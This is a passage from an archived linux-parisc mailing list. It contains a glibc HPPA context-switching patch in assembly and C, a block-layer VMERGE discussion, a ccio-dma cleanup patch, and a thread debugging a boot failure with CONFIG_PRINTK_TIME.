+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+
+#include "ucontext_i.h"
+
+
+ENTRY(__setcontext)
+	/* Prologue */
+	stwm	%r3, 64(%r30)
+#ifdef PIC
+	stw	%r19, -32(%r30)
+#endif
+
+	/* Save ucp.  */
+	copy	%r26, %r3
+
+L(_again):
+	/* Set the current signal mask.  */
+	/* sigprocmask(SIG_BLOCK, &ucp->uc_sigmask, NULL);  */
+	copy	%r0, %r24
+	ldo	oSIGMASK(%r3), %r25
+	bl	sigprocmask, %r2
+	ldi	SIG_SETMASK, %r26
+
+	comib,<> 0,%ret0,L(_error)
+	nop
+
+	/* Save %sp, %dp.  */
+	copy	%sp, %r4
+	copy	%dp, %r5
+	copy	%r19, %r6
+
+	/* Get the registers.  */
+	ldw	oR1(%r3), %r1
+	ldw	oR2(%r3), %r2
+	/* ldw	oR3(%r3), %r3 - used for ucp pointer.	*/
+	/* ldw	oR4(%r3), %r4 - used for original %sp.	*/
+	/* ldw	oR5(%r3), %r5 - used for %dp / %r27.	*/
+	/* ldw	oR6(%r3), %r6 - used for %r19.		*/
+	ldw	oR7(%r3), %r7
+	ldw	oR8(%r3), %r8
+	ldw	oR9(%r3), %r9
+	ldw	oR10(%r3), %r10
+	ldw	oR11(%r3), %r11
+	ldw	oR12(%r3), %r12
+	ldw	oR13(%r3), %r13
+	ldw	oR14(%r3), %r14
+	ldw	oR15(%r3), %r15
+	ldw	oR16(%r3), %r16
+	ldw	oR17(%r3), %r17
+	ldw	oR18(%r3), %r18
+	ldw	oR19(%r3), %r19
+	ldw	oR20(%r3), %r20
+	ldw	oR21(%r3), %r21
+	/* ldw	oR22(%r3), %r22 - dyncall arg.  */
+	ldw	oR23(%r3), %r23
+	ldw	oR24(%r3), %r24
+	ldw	oR25(%r3), %r25
+	ldw	oR26(%r3), %r26
+	ldw	oR27(%r3), %r27
+	ldw	oR28(%r3), %r28
+	ldw	oR29(%r3), %r29
+	ldw	oR30(%r3), %r30
+	ldw	oR31(%r3), %r31
+
+	/* Restore floating-point registers.  */
+	/* fldd	oFP0(%r3),%fr0  */
+
+
+	/* Calculate new stack pointer.  */
+	ldw	oSS_SP(%r3), %sp
+	ldo	64(%sp), %sp
+
+	/* Call function.  */
+	copy	%r2, %r22
+	bl	$$dyncall, %r31
+	copy	%r31, %r2
+
+	/* We return here. Get new ucp in %r3, reload %sp.  */
+	ldw	oUC_LINK(%r3), %r3
+	copy	%r4, %sp
+	copy	%r5, %dp
+	copy	%r6, %r19
+
+	/* If ucp == NULL then exit().  */
+	comib,<> 0,%r3,L(_again)
+	nop
+
+	/* If we looped through all uc_link contexts, exit now.  */
+	bl	_exit, %r2
+	ldi	-1, %r26
+	
+
+L(_error):
+	/* Epilogue */
+	ldw	-84(%r30), %r2
+#ifdef PIC
+	ldw	-96(%r30), %r19
+#endif
+	bv	%r0(%r2)
+	ldwm	-64(%r30), %r3
+L(pseudo_end):
+PSEUDO_END(__setcontext)
+
+weak_alias(__setcontext, setcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c.org ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c
--- ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c.org	2008-07-17 00:37:11.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c	2008-07-18 23:07:15.000000000 +0200
@@ -0,0 +1,66 @@
+/* swap to new context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <ucontext.h>
+
+extern int __getcontext (ucontext_t *ucp);
+extern int __setcontext (const ucontext_t *ucp);
+
+int
+__swapcontext (ucontext_t *oucp, const ucontext_t *ucp)
+{
+  extern void __swapcontext_ret (void);
+
+  /* Save the current machine context to oucp.  */
+  __getcontext (oucp);
+
+  /* uc_flags helps to skip the __setcontext call on reactivation.  */
+  if (++oucp->uc_flags == 1) {
+  	/* Temporarily save a few registers in r23-r26 which would be
+	 * overwritten by setcontext(). Set up the jump to __swapcontext_ret,
+	 * where the registers will be restored and then returned to the
+	 * above uc_flags == 1 test.  */
+  	oucp->uc_mcontext.sc_gr[20] = oucp->uc_mcontext.sc_gr[2];
+  	oucp->uc_mcontext.sc_gr[2] = (unsigned long) __swapcontext_ret;
+  	oucp->uc_mcontext.sc_gr[23] = oucp->uc_mcontext.sc_gr[3];
+  	oucp->uc_mcontext.sc_gr[24] = oucp->uc_mcontext.sc_gr[4];
+  	oucp->uc_mcontext.sc_gr[25] = oucp->uc_mcontext.sc_gr[5];
+  	oucp->uc_mcontext.sc_gr[26] = oucp->uc_mcontext.sc_gr[6];
+
+	/* Restore the machine context in ucp.  */
+  	__setcontext (ucp);
+  }
+  return 0;
+}
+
+asm ("							\n\
+	.text						\n\
+	.type	__swapcontext_ret, #function		\n\
+__swapcontext_ret:					\n\
+	copy	%r23, %r3				\n\
+	copy	%r24, %r4				\n\
+	copy	%r25, %r5				\n\
+	copy	%r26, %r6				\n\
+	bv	0(%r20)					\n\
+	copy	%r0, %ret0				\n\
+	.size	__swapcontext_ret, .-__swapcontext_ret	\n\
+     ");
+
+weak_alias (__swapcontext, swapcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym.org ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym
--- ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym.org	2008-07-16 19:27:46.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym	2008-07-18 23:17:07.000000000 +0200
@@ -0,0 +1,90 @@
+#include <stddef.h>
+#include <signal.h>
+#include <sys/ucontext.h>
+
+--
+
+SIG_BLOCK
+SIG_SETMASK
+
+#define ucontext(member)	offsetof (ucontext_t, member)
+#define mcontext(member)	ucontext (uc_mcontext.member)
+#define mreg(reg)		mcontext (sc_gr[reg])
+
+oUC_FLAGS	ucontext (uc_flags)
+oUC_LINK	ucontext (uc_link)
+oSS_SP		ucontext (uc_stack.ss_sp)
+oSS_FLAGS	ucontext (uc_stack.ss_flags)
+oSS_SIZE	ucontext (uc_stack.ss_size)
+oSC_FLAGS	mcontext (sc_flags)
+oR0		mreg (0)
+oR1		mreg (1)
+oR2		mreg (2)
+oR3		mreg (3)
+oR4		mreg (4)
+oR5		mreg (5)
+oR6		mreg (6)
+oR7		mreg (7)
+oR8		mreg (8)
+oR9		mreg (9)
+oR10		mreg (10)
+oR11		mreg (11)
+oR12		mreg (12)
+oR13		mreg (13)
+oR14		mreg (14)
+oR15		mreg (15)
+oR16		mreg (16)
+oR17		mreg (17)
+oR18		mreg (18)
+oR19		mreg (19)
+oR20		mreg (20)
+oR21		mreg (21)
+oR22		mreg (22)
+oR23		mreg (23)
+oR24		mreg (24)
+oR25		mreg (25)
+oR26		mreg (26)
+oR27		mreg (27)
+oR28		mreg (28)
+oR29		mreg (29)
+oR30		mreg (30)
+oR31		mreg (31)
+oFPREGS		mcontext (sc_fr)
+oFP0		mcontext (sc_fr[0])
+oFP1		mcontext (sc_fr[1])
+oFP2		mcontext (sc_fr[2])
+oFP3		mcontext (sc_fr[3])
+oFP4		mcontext (sc_fr[4])
+oFP5		mcontext (sc_fr[5])
+oFP6		mcontext (sc_fr[6])
+oFP7		mcontext (sc_fr[7])
+oFP8		mcontext (sc_fr[8])
+oFP9		mcontext (sc_fr[9])
+oFP10		mcontext (sc_fr[10])
+oFP11		mcontext (sc_fr[11])
+oFP12		mcontext (sc_fr[12])
+oFP13		mcontext (sc_fr[13])
+oFP14		mcontext (sc_fr[14])
+oFP15		mcontext (sc_fr[15])
+oFP16		mcontext (sc_fr[16])
+oFP17		mcontext (sc_fr[17])
+oFP18		mcontext (sc_fr[18])
+oFP19		mcontext (sc_fr[19])
+oFP20		mcontext (sc_fr[20])
+oFP21		mcontext (sc_fr[21])
+oFP22		mcontext (sc_fr[22])
+oFP23		mcontext (sc_fr[23])
+oFP24		mcontext (sc_fr[24])
+oFP25		mcontext (sc_fr[25])
+oFP26		mcontext (sc_fr[26])
+oFP27		mcontext (sc_fr[27])
+oFP28		mcontext (sc_fr[28])
+oFP29		mcontext (sc_fr[29])
+oFP30		mcontext (sc_fr[30])
+oFP31		mcontext (sc_fr[31])
+oIASQ0		mcontext (sc_iasq[0])
+oIASQ1		mcontext (sc_iasq[1])
+oIAOQ0		mcontext (sc_iaoq[0])
+oIAOQ1		mcontext (sc_iaoq[1])
+oSAR		mcontext (sc_sar)
+oSIGMASK	ucontext (uc_sigmask)

--Boundary-00=_2TRgIFJ/BXjPK1j--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Sat, 19 Jul 2008 00:28:26 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <20080719.002826.73806419.davem@davemloft.net>
References: <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
	<20080717221908D.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216452520 902 80.91.229.12 (19 Jul 2008 07:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2008 07:28:40 +0000 (UTC)
Cc: mpatocka@redhat.com, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: fujita.tomonori@lab.ntt.co.jp
Original-X-From: linux-scsi-owner@vger.kernel.org Sat Jul 19 09:29:28 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KK6se-0002Q6-Li
	for lnx-linux-scsi@gmane.org; Sat, 19 Jul 2008 09:29:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751299AbYGSH22 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Sat, 19 Jul 2008 03:28:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751467AbYGSH22
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Sat, 19 Jul 2008 03:28:28 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:46196
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751299AbYGSH21 (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Sat, 19 Jul 2008 03:28:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 12E8BC8C188;
	Sat, 19 Jul 2008 00:28:27 -0700 (PDT)
In-Reply-To: <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43308 gmane.linux.kernel:709152 gmane.linux.ports.parisc:525
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/525>

From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date: Thu, 17 Jul 2008 22:18:44 +0900

> BTW, as I've already said, I'm not against removing the vmerge
> accounting from the block layer.

I am also, as stated, not against this.

Fujita-san, please proposage a patch so that we can put this
issue behind us :-)
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] ccio_clear_io_tlb() don't need to compute io page number
 a second time.
Date: Sat, 19 Jul 2008 21:34:08 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <48825DD0.5000308@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216503277 31671 80.91.229.12 (19 Jul 2008 21:34:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2008 21:34:37 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 23:35:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKK5H-0003Z2-Tn
	for glpp-linux-parisc@gmane.org; Sat, 19 Jul 2008 23:35:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753725AbYGSVeW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 17:34:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753984AbYGSVeW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 17:34:22 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:35324 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753725AbYGSVeV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 17:34:21 -0400
Original-Received: from [213.49.76.135] (ip-213-49-76-135.dsl.scarlet.be [213.49.76.135])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m6JLYARa006215;
	Sat, 19 Jul 2008 23:34:12 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC--Metrics: hel 0; Body=4 Fuz1=4 Fuz2=4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:526 gmane.linux.kernel:709290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/526>

Hello Kyle,

In ccio-dma.c, I noticed that eventhought the prototype of the function ccio_clear_io_tlb() is:
static CCIO_INLINE void
ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)

i.e. the second arg being iovp (afaik the io virtual page number) deduced from the iova (io virtual address)

it's so useless to:
         iovp &= IOVP_MASK;      /* clear offset bits, just want pagenum */

and the only place where it's called is:
         ccio_clear_io_tlb(ioc, CCIO_IOVP(iova), saved_byte_cnt);

it's well an iovp given the macro definition:
#define CCIO_IOVP(iova) ((iova) & IOVP_MASK)

May I so suggest following patch:
--- a/drivers/parisc/ccio-dma.c	2008-07-19 21:17:37.000000000 +0000
+++ b/drivers/parisc/ccio-dma.c	2008-07-19 21:32:54.000000000 +0000
@@ -643,7 +643,6 @@
  {
  	u32 chain_size = 1 << ioc->chainid_shift;

-	iovp &= IOVP_MASK;	/* clear offset bits, just want pagenum */
  	byte_cnt += chain_size;

  	while(byte_cnt > chain_size) {
=== <> ===

Tia,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Sat, 19 Jul 2008 17:54:59 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20080719215459.GA2550@phobos.i.cabal.ca>
References: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216504510 1898 80.91.229.12 (19 Jul 2008 21:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2008 21:55:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 23:55:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKKPE-00084I-RU
	for glpp-linux-parisc@gmane.org; Sat, 19 Jul 2008 23:55:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755103AbYGSVzB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 17:55:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755050AbYGSVzB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 17:55:01 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:54066 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754950AbYGSVzA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 17:55:00 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 86EC717806A; Sat, 19 Jul 2008 17:54:59 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:527 gmane.linux.kernel:709297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/527>

On Thu, Jul 17, 2008 at 07:05:02PM +0200, Guy Martin wrote:
> 
> Recompiling with CONFIG_PRINTK_TIME=n makes it works straight away.
>

The problem is kernel/printk.c around line 731.

t = jiffies * (NSEC_PER_SEC / HZ);
do_div(t, 10000000000); is doing some badness (which is hard as hell to
debug since printk isn't working.)

It's doing some sort of bollocks when jiffies is between 9 and 10...

do_div being:

# define do_div(n,base) ({                                      \
        uint32_t __base = (base);                               \
        uint32_t __rem;                                         \
        __rem = ((uint64_t)(n)) % __base;                       \
        (n) = ((uint64_t)(n)) / __base;                         \
        __rem;                                                  \
 })

I'm *guessing* that umoddi3 or udivdi3 is doing an xmpyu or something,
which since this is probably before fpu init, is trapping, which is
trying to printk, which is recursively exploding.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Sat, 19 Jul 2008 19:04:18 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20080719230418.GA4263@phobos.i.cabal.ca>
References: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be> <20080719215459.GA2550@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216508703 10980 80.91.229.12 (19 Jul 2008 23:05:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2008 23:05:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755958AbYGSXE3@vger.kernel.org Sun Jul 20 01:05:50 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755958AbYGSXE3@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKLUr-0005V1-1Z
	for glk-linux-kernel-3@gmane.org; Sun, 20 Jul 2008 01:05:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755958AbYGSXE3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 19 Jul 2008 19:04:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753972AbYGSXEU
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sat, 19 Jul 2008 19:04:20 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:47316 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753751AbYGSXET (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 19 Jul 2008 19:04:19 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 4FF1817806E; Sat, 19 Jul 2008 19:04:18 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080719215459.GA2550@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:709308 gmane.linux.ports.parisc:528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/528>

On Sat, Jul 19, 2008 at 05:54:59PM -0400, Kyle McMartin wrote:
> I'm *guessing* that umoddi3 or udivdi3 is doing an xmpyu or something,
> which since this is probably before fpu init, is trapping, which is
> trying to printk, which is recursively exploding.
> 

If my guess is right, this quick fix might work. Can you please test it,
as my a500 decided to have its scsi controller die in the middle of
this...

(Proper fix is probably to bring fpu bringup into head.S, since it will
 be necessary for any printk with CONFIG_PRINTK_TIME on. (Or bring back
 my use embedded libgcc patch, which was buggy on 32-bit. :\ ))

diff --git a/init/main.c b/init/main.c
index edeace0..729b150 100644
--- a/init/main.c
+++ b/init/main.c
@@ -560,9 +560,9 @@ asmlinkage void __init start_kernel(void)
 	tick_init();
 	boot_cpu_init();
 	page_address_init();
+	setup_arch(&command_line);
 	printk(KERN_NOTICE);
 	printk(linux_banner);
-	setup_arch(&command_line);
 	mm_init_owner(&init_mm, &init_task);
 	setup_command_line(command_line);
 	unwind_setup();

From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Sat, 19 Jul 2008 21:45:11 -0400 (EDT)
Lines: 403
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
References: <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
 <Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
 <20080717221908D.fujita.tomonori@lab.ntt.co.jp> <20080719.002826.73806419.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216518346 29065 80.91.229.12 (20 Jul 2008 01:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 01:45:46 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 03:46:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKO0O-0007Vz-MV
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 03:46:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754870AbYGTBpc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2008 21:45:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754956AbYGTBpb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jul 2008 21:45:31 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:44207 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754870AbYGTBp3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2008 21:45:29 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6K1jD2a006647;
	Sat, 19 Jul 2008 21:45:13 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6K1jDpD003114;
	Sat, 19 Jul 2008 21:45:13 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6K1jCEp010987;
	Sat, 19 Jul 2008 21:45:12 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6K1jCir013639;
	Sat, 19 Jul 2008 21:45:12 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6K1jBWI013634;
	Sat, 19 Jul 2008 21:45:12 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <20080719.002826.73806419.davem@davemloft.net>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:529 gmane.linux.kernel:709320 gmane.linux.scsi:43315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/529>

On Sat, 19 Jul 2008, David Miller wrote:

> From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> Date: Thu, 17 Jul 2008 22:18:44 +0900
> 
> > BTW, as I've already said, I'm not against removing the vmerge
> > accounting from the block layer.
> 
> I am also, as stated, not against this.
> 
> Fujita-san, please proposage a patch so that we can put this
> issue behind us :-)

Few days ago I created this.

Another task would be to remove nr_hw_segments from request, bio and queue 
parameters (if this patch is accepted).

Mikulas

---
 arch/parisc/kernel/setup.c |    5 ---
 arch/x86/kernel/pci-dma.c  |    6 ---
